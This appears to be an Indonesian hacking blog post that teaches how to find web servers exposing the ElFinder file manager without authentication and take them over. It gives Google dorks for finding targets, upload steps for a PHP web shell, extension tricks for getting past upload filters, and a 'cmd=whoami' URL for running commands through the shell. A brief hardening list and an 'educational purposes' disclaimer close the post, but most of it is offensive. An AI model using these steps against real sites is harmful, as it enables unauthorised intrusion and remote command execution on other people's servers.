Exploit ElFinder 2025 - Upload Shell via File Manager

🔥 Exploit ElFinder File Manager — Shell Upload (2025)

ElFinder adalah file manager berbasis web yang banyak dipakai di CMS dan custom panel. Kalau konfigurasinya salah, kita bisa upload shell dengan mudah. Trik ini udah lama, tapi di 2025 masih banyak target yang kelupaan ngunci aksesnya. 💀

🔍 Target: ElFinder yang Terbuka Tanpa Auth

Biasanya bisa ditemukan lewat Google Dork berikut:

inurl:elfinder/elfinder.html

inurl:elfinder.php

inurl:connector.minimal.php

⚙️ Cara Eksploitasi:

http://target.com/[path]/elfinder/elfinder.html

1. Akses halaman elfinder.html
2. Upload file shell (shell.php atau shell.phtml)
3. Cari URL dari file yang berhasil diupload
4. Eksekusi shell via: http://target.com/shell.php?cmd=whoami

✅ Tips Upload Shell:

• Gunakan ekstensi bypass seperti .php, .phtml, .php5, .php;.jpg, atau .php%00.jpg
• Gunakan Burp Suite untuk repeat upload request kalau via UI diblok
• Cek folder upload apakah langsung eksekusi atau hanya tampil file

🚨 Ciri Target Rentan:

• Halaman elfinder.html bisa diakses tanpa login
• Tidak ada filter MIME saat upload
• File langsung bisa diakses dari URL publik

📌 Contoh URL Upload Sukses:

di file yg telah di upload, lalu klik get info/klik yang paling bawah

  http://target.com/[path]/elfinder/files/mini.php
  http://target.com/uploads/files/shell.php

🧠 Kenapa Masih Work di 2025?

Walau exploit ini udah lama, masih banyak developer/website yang:

• Install ElFinder default tanpa password
• Tidak memfilter file PHP di sisi server
• Folder upload bisa diakses langsung tanpa proteksi

🛡️ Proteksi yang Harus Dilakukan:

• Aktifkan auth di connector.php
• Batasi file yang boleh diupload (filter MIME type)
• Set folder upload sebagai non-executable (via .htaccess)

---

⚠️ Disclaimer

This article is intended solely for educational purposes only.The creator shall not be held liable for any misuse, illegal activities, or damages resulting from the unauthorized use of this .

---

"Where creativity, exploitation, and expression collide." — 6ickZone